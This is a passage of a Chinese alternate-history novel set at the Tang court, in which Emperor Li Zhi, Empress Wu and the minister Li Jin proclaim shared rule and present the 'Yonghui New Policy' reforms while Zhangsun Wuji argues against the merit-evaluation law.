辰时正,钟鼓齐鸣,韶乐大作。皇帝李治身着崭新的玄黑衮冕(为显庄重,元日大朝用祭服),在內侍搀扶下登上御座。他今日气色尚可,但眉宇间仍带着一丝病后的清减与长期精力透支的疲惫,然而那双眼睛,在冠冕珠旒之后,却闪烁着前所未有的、混合着志得意满与深沉期许的光芒。几乎在他落座的同时, 皇 后 武 媚 娘 身 着 与 皇 帝 衮 冕 相 配 的 深 青 色 祎 衣, 头 戴 九 龙 四 凤 珠 冠, 在 秋 月 等 宫 人 簇 拥 下, 自 御 座 侧 后 方 步 入, 于 垂 帘 之 后 端 然 坐 定。 她的脊背挺直如松,双手交叠置于膝上,隔着那层已为朝臣所熟稔的薄纱,静望殿外鱼贯而入的文武百官,目光沉静如水,却又仿佛蕴藏着足以吞噬一切暗流的力量。
“ 陛 下 万 岁, 万 岁, 万 万 岁! 皇 后 殿 下 千 岁!” 山呼之声震彻殿宇,比以往任何一次都更加整齐、洪亮,也似乎……更加顺理成章。许多官员,尤其是中下层和近年来新晋的官员,望向垂帘的目光中已没有了最初的惊疑与抵触,取而代之的是一种复杂的敬畏与认可。过去一年多,“二圣”共治下的高效政务、赫赫武功(至少是威慑带来的和平)、以及《臣轨》颁布带来的吏治新风,已让不少人开始接受甚至依赖这种新的权力模式。
大朝依制进行。祭祀天地、宗庙的吉报,各地祥瑞的奏贺,外藩使臣的朝拜与贡礼……一项项庄重而繁琐的礼仪有条不紊地进行。皇帝李治大多时候只是端坐,由礼官唱赞,内侍宣诏,偶尔在紧要处说一句“准”、“可”或“依例”。许多细务,则是由垂帘后的皇后,以清晰平稳的声音代为处置或补充。帝后之间,默契无比,仿佛共用一副头脑,两张口舌。
当日最重要的议程,自然是审议“永徽”元年乃至未来数年的施政大纲,而这大纲的核心,毫无悬念,便是“ 平 边” 大 业 的 全 面 推 进 与 深 化。** 当司礼官高唱“议平边诸事”时,整个紫宸殿的气氛为之一凝。
首先出列的,是 司 空 李 勣。 他手持玉笏,声音洪亮:“陛下,皇后殿下。自去岁秋狝演武,震慑不臣以来,四方宾服,边患暂息,此正乃我‘平边’大业蓄力之时。老臣与兵部、军器监详议,以为未来一年,当以‘ 强 本 固 基, 积 蓄 锋 芒’** 为要。”
他顿了顿,继续道:“ 强 本, 在 于 进 一 步 完 善 新 军 编 练 与 后 勤 保 障。 请 于 河 北、 河 南、 河 东 及 关 内 四 道, 择 精 锐 府 兵 及 募 勇, 组 建 专 司 登 陆 作 战 与 新 式 器 械 操 用 的 ‘ 神 机 营’ 十 二 部, 由 军 器 监 与 兵 部 共 同 训 练 教 习。 同 时, 在 登 州、 莱 州、 扬 州 三 地, 加 快 新 式 海 船 的 建 造 与 水 师 的 扩 编 训 练。 所 需 钱 粮 器 械, 户 部、 工 部、 军 器 监 需 精 密 核 算, 保 障 供 给。**”
“ 固 基, 在 于 稳 定 后 方, 清 明 吏 治。 当 借《 臣 轨》 颁 行 之 机, 严 格 今 岁 官 员 考 课, 尤 其 是 涉 及 ‘ 平 边’ 钱 粮 转 运、 工 程 营 造、 民 夫 征 发 的 官 员, 务 求 公 正 廉 明, 高 效 无 私。 御 史 台、 各 道 按 察 使 需 加 强 监 察, 对 贪 墨 渎 职、 阻 挠 新 政 者, 严 惩 不 贷!**” 李勣的提议,务实而全面,既有军事准备,也有吏治保障,深合“二圣”之意。
皇帝微微颔首,目光转向垂帘:“皇后以为如何?”
帘后,武媚娘的声音平和而有力:“李司空老成谋国,所虑周详。 强 本 固 基, 确 为 当 前 要 务。 然, 本 宫 以 为, 除 了 军 事 与 吏 治, 亦 不 可 忽 视 ‘ 伐 谋’、 ‘ 伐 交’。 对 高 句 丽, 除 兵 威 震 慑 外, 可 继 续 通 过 商 路、 细 作, 散 布 其 国 内 不 利 于 泉 盖 苏 文 的 言 论, 拉 拢 其 不 满 贵 族; 对 新 罗, 当 进 一 步 鞏 固 盟 好, 许 以 战 后 利 益, 使 其 成 为 我 在 半 岛 的 坚 实 支 点; 对 西 北、 北 方 诸 部, 在 保 持 威 慑 的 同 时, 亦 可 适 度 开 放 边 市, 赐 予 官 爵, 以 羁 縻 其 心。 如 此, 方 能 为 未 来 的 决 定 性 一 击, 创 造 最 有 利 的 内 外 环 境。” 她补充了外交与谋略层面,显示出超越单纯军事视角的政治家眼光。
“皇后所言甚是。” 皇帝赞道,随即目光扫向文官班列前排,“李瑾,你总督平边诸事,军器监亦在你手,对此,你有何具体筹划?”
李瑾应声出列。他今日身着紫色官袍,腰佩皇帝所赐的“定邦”短剑(经特许,元日大朝可佩),身姿挺拔,气度沉凝。经过近两年的锤炼,他早已不是当初那个初入朝堂、仅以“奇技”闻名的青年,而是真正具备了宰辅气度的帝国重臣。
“陛下,皇后殿下,李司空与皇后殿下所谋,实为‘平边’大业之两翼,缺一不可。” 李瑾先定下基调,然后开始具体陈述,“ 军 事 层 面, 臣 已 会 同 兵 部, 拟 定 ‘ 神 机 营’ 组 建 与 训 练 细 则, 并 制 定 了 新 式 海 船 的 建 造 进 度。 军 器 监 方 面, ‘ 神 机 炮’ 已 完 成 第 一 批 三 十 门 的 定 型 与 小 批 量 铸 造, 性 能 稳 定; ‘ 震 天 雷’ 及 其 他 爆 破 器 具 的 生 产 工 艺 亦 已 成 熟, 可 保 障 供 给。 未 来 一 年, 重 点 在 于 进 一 步 优 化 ‘ 神 机 炮’ 的 机 动 性 与 射 速, 并 探 索 其 在 野 战 中 的 应 用 战 术。”
“ 吏 治 与 后 勤 层 面, 臣 完 全 赞 同 李 司 空 与 皇 后 殿 下 所 言。 军 器 监 已 依 照《 臣 轨》 与《 军 器 法 式》, 制 定 了 更 为 严 格 的 内 部 考 课 与 审 计 制 度, 并 愿 接 受 御 史 台 及 各 部 随 时 监 察。 至 于 钱 粮, 臣 已 与 户 部 尚 书 多 次 核 算, 所 需 虽 巨, 然 若 能 进 一 步 整 顿 盐 铁 茶 税, 开 拓 海 外 贸 易, 并 裁 汰 部 分 冗 官 冗 费, 当 可 支 应, 且 不 至 过 度 伤 及 民 生。 具 体 条 陈, 臣 已 具 本 奏 上。” 他的汇报,数据清晰,计划明确,既有雄心,又不忘克制与风险控制。
“ 外 交 与 谋 略 层 面, 皇 后 殿 下 所 示, 实 为 金 玉 良 言。 臣 已 遵 旨, 着 手 通 过 隐 秘 渠 道, 加 强 对 高 句 丽 内 部 的 渗 透 与 分 化。 同 时, 臣 以 为, 可 借 新 年 之 机, 以 陛 下 与 皇 后 殿 下 的 名 义, 向 新 罗、 百 济 及 西 域 诸 国 增 赐 礼 物, 尤 其 是 我 朝 的 丝 绸、 瓷 器、 书 籍 及 部 分 不 涉 核 心 的 精 美 工 艺 品, 以 彰 显 天 朝 气 度, 润 物 无 声。**” 他将皇后的策略具体化,并提出了可行的操作方案。
李瑾奏毕,殿中一片肃然。他的规划,与李勣的“强本固基”、皇后的“伐谋伐交”完美衔接,构成了一个从内政、军事、外交到技术、后勤的完整闭环,显示出其作为“总督”总揽全局的卓越能力。更重要的是,他的每一次奏对,都严谨地将皇帝置于最高决策者位置,将皇后置于战略指导者位置,而将自己明确为执行者,姿态无可挑剔。
皇帝听罢,龙颜大悦,抚掌道:“善!大善!李卿思虑周全,谋定后动,实乃朕与皇后之股肱!便依李司空、皇后与李瑾所议,着政事堂总领,各部协同,全力推进‘平边’大业筹备!具体细则,由政事堂议定后报朕与皇后批准!”
“臣等遵旨!” 殿中响起整齐的应和。
大朝继续进行,又议了几项重要的官员任命(其中不乏“北门学士”成员及李瑾推荐的实务干员被擢升至关键岗位)、赋税调整(意在为“平边”开源)以及教化事宜(推广《臣轨》与官学)。每一项议题,几乎都遵循着类似的模式:皇帝提出或交由朝议,宰辅或主管官员提出方案,皇后在帘后给出精要的补充或更高层面的指导,皇帝最终裁决,而李瑾则在涉及军事、技术、工程或具体执行时,提供关键的专业意见与保障承诺。整个决策过程,高效、顺畅,且明显带有“帝后定调、李瑾执行、诸臣协同”的鲜明色彩。
长孙无忌、褚遂良等元老重臣,在整个朝会过程中,多数时间保持着沉默。他们并非无话可说,而是发现,在这种新的议事规则与权力格局下,他们那些基于经史典章、道德文章的传统谏言,似乎越来越难以切入核心,越来越显得“迂阔”。皇帝对皇后与李瑾的依赖与信任显而易见,而“平边”大业带来的巨大声望与务实成果,又使得这种依赖与信任具有了坚实的“政绩”基础。他们能感觉到,自己正被一种新的、更注重效率、技术与实际功用的权力运行逻辑,缓慢而坚定地边缘化。
朝会最后,皇帝似乎意犹未尽,他示意内侍展开一幅巨大的、绘有帝国疆域及周边态势的精细舆图(同样出自“格物所”之手),悬挂于殿中。他指着地图,对群臣,更是对帘后的皇后与殿中的李瑾,慨然道:
“众卿请看,此 万 里 江 山, 乃 列 祖 列 宗 栉 风 沐 雨, 将 士 百 姓 流 血 流 汗 所 铸 就。 今 日, 朕 与 皇 后 在 此, 李 卿 与 诸 位 爱 卿 在 此, 共 议 国 是, 共 谋 未 来。 朕 之 身 体, 自 知 不 如 往 昔, 然 朕 有 贤 后 佐 政 于 内, 有 干 臣 效 力 于 外, 有 尔 等 忠 贞 之 士 拱 卫 于 朝, 此 心 何 忧? 此 志 何 愁 不 酬?”
他停顿了一下,目光缓缓扫过御座、垂帘,以及丹墀下的李瑾,声音陡然提高,带着一种不容置疑的决断:
“ 自 即 日 起, 凡 军 国 重 事, 朝 廷 大 政, 皆 由 朕 与 皇 后 共 同 裁 决。 皇 后 可 代 朕 批 阅 奏 章, 处 置 常 务, 并 于 朝 会 时, 与 朕 同 听 政, 共 决 是 非。 李 瑾 总 督 平 边, 掌 军 器 监, 便 宜 行 事, 参 赞 军 务, 为 朕 与 皇 后 之 臂 膀, 专 司 对 外 征 伐 与 军 备 革 新 一 应 事 宜。 政 事 堂 诸 公 及 百 官, 各 司 其 职, 共 同 辅 佐。 此 乃 为 了 大 唐 的 万 世 基 业, 为 了 实 现 太 宗 皇 帝 未 竟 之 志, 也 是 为 了 天 下 亿 兆 黎 民 的 安 居 乐 业! 望 诸 卿, 能 体 朕 心, 戮 力 同 心, 共 掌 这 锦 绣 江 山, 共 创 这 永 徽 盛 世!**”
“ 共 掌 这 江 山!**”
皇帝此言,如同一声洪钟大吕,彻底宣告了一个新时代的正式降临!这不是“二圣临朝”的含蓄延续,而是 帝、 后、 权 臣 三 方 权 力 共 享、 职 责 分 明 的 新 政 治 格 局 的 公 开 确 立 与 法 理 化! 皇帝掌握最终名分与权威,皇后深度介入日常决策与意识形态,李瑾则专注于最核心的对外武功与军事技术革新。三人各据一方,又紧密联结,形成一个稳固的权力三角,共同驾驭着大唐帝国这艘巨轮,驶向未知而波澜壮阔的深海。
殿中寂静片刻,随即,以李勣、于志宁为首,大批官员齐刷刷躬身,山呼海啸般的声音响彻云霄:
“ 臣 等 谨 遵 圣 谕! 陛 下 万 岁! 皇 后 殿 下 千 岁! 愿 为 陛 下、 皇 后 殿 下, 为 大 唐 江 山, 效 死 力! 共 创 永 徽 盛 世!**”
声浪之中,长孙无忌、褚遂良等人亦不得不随众行礼,只是那弯下的腰背,显得格外沉重与僵硬。他们知道,属于他们的时代,或许真的过去了。朝堂之上,一个新的、以“二圣一臣”为核心、以“平边”大业为旗帜、以“实学”新政为动力的权力共同体,已然巍然成型。
李瑾立于百官之前,手按腰间“定邦”剑柄,仰望着御座上虽显疲惫却目光炯炯的皇帝,以及帘后那道沉静而强大的身影。他知道,从这一刻起,他不再仅仅是皇帝的臣子,皇后的盟友,更是这个崭新权力结构中不可或缺的一极。 共 掌 这 江 山, 不 仅 是 荣 耀 与 权 力, 更 是 沉 甸 甸 的 责 任、 无 休 止 的 挑 战 与 未 知 的 风 险。 前路漫漫,帝国的未来,已与他们三人的命运,牢牢捆绑在了一起。
朝阳完全跃出地平线,金色的光芒穿透紫宸殿高大的窗棂,洒在御座、垂帘与丹墀下肃立的百官身上,也洒在那幅巨大的帝国舆图上,仿佛为这片“ 共 掌” 的 江 山, 镀 上 了 一 层 辉 煌 而 炽 热 的 光 芒。 永徽元年,就在这新旧交织、希望与挑战并存的曙光中,正式拉开了序幕。
第101章 朝会起新风
永徽元年正月十六,年节的喜庆气氛尚未完全散去,长安皇城之内,已是一片庄重肃杀。今日并非朔望大朝之期,但紫宸殿外的广场上,文武百官的冠冕袍服却比元日大朝时更加齐整,神色也更加凝重。所有人都知道,去岁末皇帝那番“共掌江山”的宣言绝非虚言,年节刚过,一场真正意义上的、旨在重塑帝国肌理的“新政风暴”,即将在这象征着最高权力的大殿之上,正式拉开序幕。风,起于青萍之末,而这股从“二圣”与李瑾心中酝酿已久的变革之风,其首阵锋芒,便要涤荡这庙堂之上的积弊与沉疴。
辰时二刻,钟磬长鸣。皇帝李治与皇后武媚娘自御屏后并肩而出,登上丹墀。与元日大朝略有不同,今日皇后 未 坐 于 垂 帘 之 后, 而 是 在 御 座 之 右 侧 稍 下 处, 设 一 紫 檀 凤 座, 与 御 座 仅 一 臂 之 隔, 面 向 群 臣。 虽仍略低于御座,但这近乎“并坐”的姿态,无疑是将“二圣共治”以一种更加直观、更具压迫感的方式,昭示于天下臣工之前。皇帝今日气色尚可,只是眉宇间那份挥之不去的疲惫,在殿内明亮的灯火下仍清晰可见。而端坐凤座之上的武媚娘,则是一身深青色常朝礼服,头戴九树花钗冠,面容沉静,目光如秋水般明澈深邃,仿佛能洞悉殿中每一丝细微的情绪波动。她不再需要通过一层薄纱来倾听与观察,而是直接以帝国女主人的姿态,审视着她的臣子,以及她与皇帝、李瑾共同构划的崭新蓝图。
“众卿平身。” 皇帝的声音略显低沉,却带着不容置疑的威仪,“年节已过,万象更新。今日朝会,不议琐务,专论 国 是 新 政。 去岁以来,内修政理,外慑不臣,赖诸卿之力,稍有小成。然治国如逆水行舟,不进则退。我大唐欲成万世不拔之基,开创远超贞观之盛世,非 革 故 鼎 新、 除 弊 兴 利 不 可。 朕与皇后,思之再三,与诸宰辅、重臣议定,拟于永徽元年,推行一系列新政,总其名曰—— ‘ 永 徽 新 政’。** 今日,便与诸卿共议其纲。”
“永徽新政”四字一出,殿中空气为之一紧。许多官员,尤其是那些出身世家、世代簪缨的老臣,心中俱是一沉。他们隐隐感觉到,这绝非简单的政策调整,而可能是一场触及根本利益分配与权力结构的深刻变革。
皇帝将目光投向御阶下肃立的李瑾:“李卿,你总督平边,总揽实务,对新政之要,有何见解?可为诸卿先陈大略。”
“臣遵旨。” 李瑾出列,手持玉笏。他今日未着甲胄,亦未佩“定邦”剑,只一身紫色圆领常服,却自有一股渊渟岳峙的气度。他先向御座与凤座方向深深一躬,然后转向群臣,朗声道:
“陛下,皇后殿下,诸位同僚。‘永徽新政’之要,在于 强 国、 富 民、 择 吏、 明 法, 四 者 相 辅 相 成, 共 固 邦 本。 其具体纲领,臣与政事堂诸公、及北门学士经数月研议,拟为 四 纲 十 二 目, 恭 呈 御 览, 并 请 诸 公 议 之。”
他微微一顿,声音愈发清晰有力:
“ 第 一 纲, 曰 ‘ 吏 治 新 章’, 核 心 在 于 ‘ 考 成 法’ 与 ‘ 汰 冗 员’。**”
“ 考 成 法, 即 以 实 绩 为 核, 重 定 官 员 考 课 标 准。 以往考课,多重德行、资历、门第,于实政实效,考核模糊。自今岁始, 凡 地 方 亲 民 官, 需 以 户 口 增 减、 垦 田 多 寡、 赋 税 完 成、 狱 讼 清 明、 水 利 兴 修、 学 校 兴 废 等 具 体 可 量 化 之 项 目, 作 为 考 课 主 要 依 据, 每 季 上 报, 年 终 总 核, 分 为 上、 中、 下 三 等, 并 予 以 相 应 的 升 迁、 留 任 或 黜 落。 中央各部司官员,亦需制定相应职掌与量化考成标准。吏部考功司职能加强,并引入御史台、门下省复核监督,防止虚报滥赏。**” 李瑾此言,直指现行官员考核流于形式、重名轻实的弊病,意图建立一套以实际政策为核心的绩效管理体系。殿中许多靠资历、门荫晋升的官员,脸色已然微变。
“ 汰 冗 员, 即 清 查 中 央 与 地 方 各 衙 门 冗 官 冗 吏。 凡机构重叠、职掌不清、人浮于事者,一律裁并精简。对年迈昏聩、久病不任、或考成连续为下者,勒令致仕或转为散官。所节余之俸禄,部分用于提高留任绩优官员之待遇,部分充实国库。 此 举 非 为 刻 薄, 而 是 为 了 提 升 行 政 效 率, 减 轻 民 间 供 亿 之 负。**” 裁汰冗员,触动的是庞大的官僚阶层中下层既得利益,殿中已隐隐有骚动之声。
“ 第 二 纲, 曰 ‘ 经 济 新 策’, 核 心 在 于 ‘ 青 苗 贷’ 与 ‘ 平 准 法’ 扩 大。”
“ 青 苗 贷, 即 由 各 州 县 官府 设 立 ‘ 常 平 仓’ 附 设 之 ‘ 惠 农 钱 庄’, 于 每 年 青 黄 不 接 或 灾 荒 之 时, 以 低 于 市 面 高 利 贷 之 息 率, 向 贫 苦 农 户 贷 放 粮 种、 口 粮 或 小 额 钱 帛, 助 其 度 过 难 关, 恢 复 生 产。 秋收后,农户以粮食或钱帛按约定本息归还。 此 举 一 在 抑 制 民 间 高 利 贷 盘 剥, 防 止 农 户 破 产 流 亡; 二 在 稳 定 农 业 生 产, 保 障 国 家 税 基; 三 亦 可 使 官 府 仓 储 钱 粮 得 以 循 环 增 值。 然, 必 须 严 格 监 管, 防 止 胥 吏 借 机 勒 索 或 强 迫 借 贷。” 青苗贷直接冲击了地方豪强、富户通过高利贷兼并土地、控制农户的利益链,其政治与社会意义,甚至超过经济意义。许多与地方豪强有千丝万缕联系的朝臣,面色已然不善。
“ 平 准 法 扩 大, 即 将 现 有 主 要 在 京 师 及 大 城 市 施 行 的 平 准 制 度, 逐 步 推 广 至 全 国 主 要 州 县。 由朝廷设立‘平准署’统筹,利用各地常平仓及新增设的‘市易务’,在丰年或价贱时收购粮食、布帛等大宗物资储存,在灾年或价贵时平价抛售,以 平 抑 物 价, 打 击 囤 积 居 奇, 保 障 民 生, 同 时 也 可 调 节 地 方 财 政, 增 加 国 库 收 入。 此 举 需 强 大 的 信 息 网 络 与 高 效 的 执 行 力, 正 可 与 ‘ 考 成 法’ 相 结 合。” 平准法扩大,意味着朝廷将更深地介入地方经济,从豪商巨贾手中争夺大宗商品定价与流通的主导权。
“ 第 三 纲, 曰 ‘ 人 才 新 途’, 核 心 在 于 ‘ 扩 科 举’ 与 ‘ 重 实 学’。**”
“ 扩 科 举, 即 增 加 每 岁 进 士、 明 经 等 科 的 录 取 名 额, 并 在 科 目 中 增 设 ‘ 明 法’( 律 学)、 ‘ 明 算’( 算 学)、 ‘ 明 工’( 工 程 制 造) 等 专 门 之 科, 以 选 拔 通 晓 律 令、 精 于 计 算、 熟 悉 工 程 的 实 用 人 才。 同 时, 严 格 科 场 纪 律, 打 击 请 托 作 弊, 并 明 确 规 定, 未 来 地 方 亲 民 官 及 中 央 部 司 中 下 级 官 员, 应 有 相 当 比 例 来 自 科 举 正 途, 逐 步 改 变 以 门 荫、 荐 举 为 主 的 选 官 旧 习。**” 这简直是向垄断了高级官职的门阀世家公开宣战!扩大科举,尤其是增设实用科目,是为寒门庶族及拥有专业技能的人才打开晋升通道,直接撼动世家大族“平流进取,坐至公卿”的政治特权。长孙无忌、褚遂良等人,尽管极力维持着表面的平静,但眼中寒意已凝如实质。
“ 重 实 学, 即 在 国 子 监、 太 学 及 地 方 州 县 学 中, 增 设 或 加 强 算 学、 格 物( 基 础 自 然 知 识)、 农 学、 工 学 等 实 用 学 科 的 教 授, 并 将 其 纳 入 考 试 范 畴。 鼓 励 士 子 关 心 实 务, 研 习 技 艺。 同 时, 对 于 在 军 器 监、 将 作 监、 司 农 寺 等 实 务 部 门 做 出 突 出 贡 献 的 匠 师、 官 员, 给 予 破 格 奖 赏 与 提 拔, 不 拘 一 格 用 人 才。” 这进一步从思想和教育层面,挑战“万般皆下品,唯有读书高”的传统观念,为“实学”和专业技术人才争取社会地位,与“平边”所需的军事技术革新一脉相承。
“ 第 四 纲, 曰 ‘ 法 度 新 严’, 核 心 在 于 ‘ 修 订 律 疏’ 与 ‘ 强 化 监 察’。**”
“ 修 订 律 疏, 即 组 织 精 通 律 令 之 臣 工, 结 合 当 前 实 际, 对《 永 徽 律》 及 其 疏 议 进 行 一 次 全 面 的 审 视 与 修 订, 尤 其 是 针 对 土 地 兼 并、 商 业 贸 易、 工 匠 权 益、 官 员 贪 墨 等 新 出 现 或 日 益 突 出 的 问 题, 进 行 明 确 规 范 与 严 格 定 罪 量 刑, 使 法 律 更 加 明 晰、 公 正, 适 应 新 政 需 要。”
“ 强 化 监 察, 即 赋 予 御 史 台 更 大 的 独 立 监 察 权 与 调 查 权, 尤 其 是 对 新 政 执 行 过 程 中 的 阻 挠、 变 通、 贪 腐 行 为, 可 以 风 闻 奏 事, 直 达 天 听。 同 时, 加 强 对 地 方 按 察 使 的 考 核 与 轮 换, 防 止 其 与 地 方 势 力 勾 结。 对 于 诬 告 者, 亦 严 惩 不 贷。 此 外, 可 考 虑 恢 复 或 加 强 ‘ 铜 匦’ 的 作 用, 作 为 民 间 监 督 的 补 充 渠 道。” 强化监察,尤其是针对新政执行,是为改革扫清障碍的利剑,但也可能成为党同伐异的工具,其尺度把握至关重要。
李瑾将“四纲十二目”纲要清晰道出,殿中已是一片死寂,唯有他清朗的声音在梁柱间回荡。这新政纲领,条条直指当前帝国积弊,亦 刀 刀 砍 向 门 阀 世 家、 官 僚 集 团、 地 方 豪 强 的 既 得 利 益。** 考成法动摇其仕途根基,青苗贷、平准法侵蚀其经济命脉,扩科举、重实学打破其人才垄断,修律法、强监察则威胁其法外特权。可以想见,一旦推行,必将引发滔天巨浪。
李瑾奏毕,退回班列。紫宸殿内,落针可闻。许多官员低着头,目光闪烁,心中波澜起伏,却无人敢第一个发声。
良久,凤座之上,武媚娘缓缓开口,声音平静却带着一种定鼎乾坤的力量:“李相所陈‘永徽新政’纲要,陛下与本宫已反复斟酌。 此 非 一 时 兴 起, 而 是 根 植 于 太 宗 皇 帝 励 精 图 治 之 遗 志, 着 眼 于 我 大 唐 长 治 久 安 之 根 本, 亦 是 为 ‘ 平 边’ 大 业 奠 定 坚 实 的 国 力 与 民 心 基 础。 新政或有阵痛,然 长 痛 不 如 短 痛, 小 弊 不 革, 终 成 大 患。** 今日朝会,便是要议定推行之方略、步骤与主事之人。诸卿皆为国家柱石,有何见解,但讲无妨。”
她将新政与太宗遗志、平边大业挂钩,赋予其不容置疑的****性,同时以“阵痛”预警,以“柱石”期许,既堵住了部分反对者的道德口实,又给了所有人表态的机会。
皇帝李治也适时开口,声音带着一丝疲惫,却异常坚定:“皇后所言,便是朕意。新政关乎国运,非推行不可。然如何推行,方能 稳 而 不 乱, 疾 而 不 暴, 确 需 诸 卿 群 策 群 力。 长孙太尉,你为百官之首,元老重臣,于新政之推行,可有良策以教朕?”
压力,被直接抛给了沉默已久的长孙无忌。
第102章 考成法官吏
紫宸殿内,皇帝那看似平淡、实则重逾千钧的询问,如同投入静潭的巨石,终于激起了今日朝会的第一个、也是最核心的波澜。所有人的目光,瞬间聚焦在了那位须发已见斑白、身形却依旧挺拔如松的 太 尉 长 孙 无 忌 身 上。 这位历经两朝、门生故吏遍天下的关陇集团领袖,贞观朝的顾命元老,永徽初年的百官之首,在“二圣”与李瑾联手掀起的新政风暴面前,其态度如何,无疑将深刻影响这场变革的走向与力度。
长孙无忌缓缓出列,他的步伐依旧沉稳,脸上不见丝毫波澜,仿佛方才那番足以撼动帝国根基的新政纲领,不过是微风拂过水面。他手持玉笏,向御座与凤座方向深施一礼,然后直起身,目光平视前方,声音不高,却带着历经沧桑的厚重与不容置疑的权威:
“陛下,皇后殿下。老臣以为, 治 国 之 道, 在 于 因 时 制 宜, 稳 中 求 进。 李相所陈‘永徽新政’四纲,其 拳 拳 报 国 之 心, 老 臣 深 表 敬 佩。** 尤其‘强固邦本、择吏明法’之言,实为老成谋国之论。”
他先是肯定了新政的“用心”与部分目标的正当性,姿态老练。然而,话锋随即一转:
“然, 法 不 可 骤 变, 制 不 可 急 更。 我朝立国数十载,官制、考课、选举、赋税诸法,皆经高祖、太宗两朝反复斟酌,诸多贤臣呕心沥血而定,已成体系,虽有微瑕,然大体完备,足以维系国家运转,安养亿兆黎民。 若 骤 然 以 ‘ 考 成’ 替 德 行, 以 ‘ 数 字’ 量 政 绩, 恐 使 地 方 官 员 急 功 近 利, 为 求 户 口 田 亩 之 增, 而 行 苛 政 扰 民、 虚 报 瞒 产 之 事; 为 求 赋 税 之 足, 而 不 顾 民 生 疾 苦, 涸 泽 而 渔。 如 此, 非 但 不 能 澄 清 吏 治, 反 恐 激 化 民 变, 动 摇 国 本。 此 其 一 也。**”
他以“法不可骤变”、“恐生弊端”为由,对“考成法”的核心——量化考核——提出了根本性质疑,并将其与“德行”对立,暗示新政可能败坏官场风气,引发民变,扣上了“动摇国本”的大帽子。
“ 其 二, 官 员 考 课, 历 来 由 吏 部 考 功 司 主 持, 御 史 台 监 察, 已 成 定 制。 若 另 立 标 准, 增 设 机 构, 不 仅 徒 增 冗 员, 靡 费 国 帑, 更 易 造 成 政 出 多 门, 令 地 方 无 所 适 从。 且 所 谓 ‘ 量 化’ 标 准, 各 地 情 形 千 差 万 别, 如 何 能 一 概 而 论? 江 南 水 乡 与 陇 右 边 塞, 户 口 增 殖 之 难 易, 垦 田 赋 税 之 多 寡, 岂 可 同 日 而 语? 若 强 行 划 一, 必 致 赏 罚 不 公, 挫 伤 实 心 任 事 者 之 心。 此 其 二 也。**”
他从制度延续性、行政成本、地区差异等具体操作层面,论证“考成法”的“不可行”与“不公”。
“ 其 三, 官 员 之 选 拔 与 考 课, 关 乎 朝 廷 体 面 与 士 人 心 气。 若 唯 以 钱 谷 刑 名 之 细 务 为 标, 轻 忽 经 史 文 章、 道 德 操 守, 长 此 以 往, 恐 使 天 下 士 子 趋 于 功 利, 不 复 以 圣 贤 之 道 为 念, 有 伤 教 化 之 本。 且 寒 门 学 子, 或 长 于 实 务, 然 未 必 通 晓 经 义, 明 于 大 体, 骤 然 拔 擢, 恐 难 当 大 任。 此 其 三 也。”
最后,他上升到意识形态高度,将“考成法”与传统的“德行文章”取士标准对立,指责其可能导致士风败坏、官员素质下降,并隐晦地批评了新政中“重实学”、“扩科举”对寒门的倾斜,暗示这会降低官员整体素质。
长孙无忌这番陈词,条理清晰,层层递进,从“动摇国本”的危言,到“操作不公”的诘难,再到“败坏士风”的指责,几乎涵盖了反对“考成法”所能提出的所有核心论点,且句句引经据典,站在道德与“祖制”的制高点上,分量极重。殿中许多出身世族、靠门荫或经学晋身的官员,闻言纷纷暗自点头,面露赞同之色。反对新政的暗流,因长孙无忌的公开表态,开始凝聚、显形。
御座上,皇帝李治眉头微蹙,手指无意识地在御案上轻敲。他虽决心推行新政,但长孙无忌所言,也并非全无道理,尤其是关于“急功近利”、“挫伤实心任事者”的担忧,确实需要慎重对待。他不禁将目光投向了凤座上的皇后,以及御阶下的李瑾。
凤座上,武媚娘的神色依旧平静,只是那双明亮的眸子深处,闪过一丝冷冽的光芒。她并未立即反驳,而是将目光转向了李瑾。这个难题,需要由新政的提出者和主要执行者来破解。
李瑾早已料到长孙无忌会发难,甚至其反对的论点也在预料之中。他再次出列,向御座与凤座一礼,然后转向长孙无忌,拱手道:“太尉老成谋国,所虑深远,下官受教。” 先礼后兵,姿态谦逊。
“然,” 他话锋一转,声音陡然清朗,带着一种不容置疑的笃定,“太尉所言三弊,下官以为, 非 ‘ 考 成 法’ 固 有 之 弊, 而 是 执 行 不 善 可 能 导 致 之 弊。 若 因 噎 废 食, 坐 视 吏 治 日 颓, 民 生 日 艰, 国 用 日 绌, 方 是 真 正 的 动 摇 国 本!”
他先定性,将长孙无忌的指控归为“执行风险”而非“制度原罪”,并反过来指责现行制度的弊端。
“太尉言‘骤变’、‘急更’。” 李瑾继续道,语气从容,“然则, 自 贞 观 末 年 以 来, 官 场 因 循 之 风 日 盛, 地 方 虚 报 瞒 产、 苛 敛 于 民 而 上 下 相 蒙 之 事, 难 道 还 少 吗? 正 是 因 为 旧 有 考 课 重 德 行 名 声 而 轻 实 际 政 绩, 才 使 得 那 些 善 于 钻 营、 长 于 文 饰 之 徒 得 以 高 升, 而 真 正 勤 勉 务 实、 却 拙 于 交 际 的 官 员 反 被 埋 没! 太 宗 皇 帝 在 日, 亦 常 叹 地 方 奏 报 多 浮 词, 难 覈 实 情。 此 等 积 弊, 难 道 不 是 ‘ 骤 变’ 的 根 源? 我 们 今 日 推 行 ‘ 考 成 法’, 正 是 要 以 量 化 之 尺, 破 此 虚 妄 之 风, 让 那 些 尸 位 素 餐、 徒 尚 空 谈 者 无 所 遁 形, 让 真 正 有 为 之 士 得 以 脱 颖 而 出! 此 非 骤 变, 而 是 拨 乱 反 正!” 他针锋相对,指出现行制度的弊端正是改革的原因,并引用太宗皇帝的话增加说服力。
“至于太尉所忧‘急功近利’、‘苛政扰民’,” 李瑾语气转厉,“ 此 正 是 ‘ 考 成 法’ 设 计 时 需 要 极 力 防 范 之 处, 而 非 废 除 ‘ 考 成 法’ 的 理 由! 我 们 的 方 案 是, 对 于 户 口、 田 亩、 赋 税 等 数 据, 不 仅 要 看 绝 对 值, 更 要 看 其 增 长 是 否 合 理, 是 否 与 当 地 自 然 条 件、 民 力 相 符。 同 时, 将 ‘ 狱 讼 清 明’、 ‘ 民 生 安 定’( 可 通 过 铜 匦 投 书、 御 史 暗 访 等 方 式 了 解)、 ‘ 学 校 兴 盛’ 等 反 映 教 化 与 社 会 治 理 水 平 的 指 标, 同 样 纳 入 考 核, 并 占 有 相 当 权 重。 对 于 虚 报 瞒 产、 苛 敛 百 姓 以 求 政 绩 者, 一 经 查 实, 不 仅 本 人 严 惩, 其 上 官 亦 要 连 坐 担 责! 如 此, 方 可 引 导 官 员 既 重 实 绩, 又 恤 民 生, 岂 会 导 致 太 尉 所 言 之 弊?” 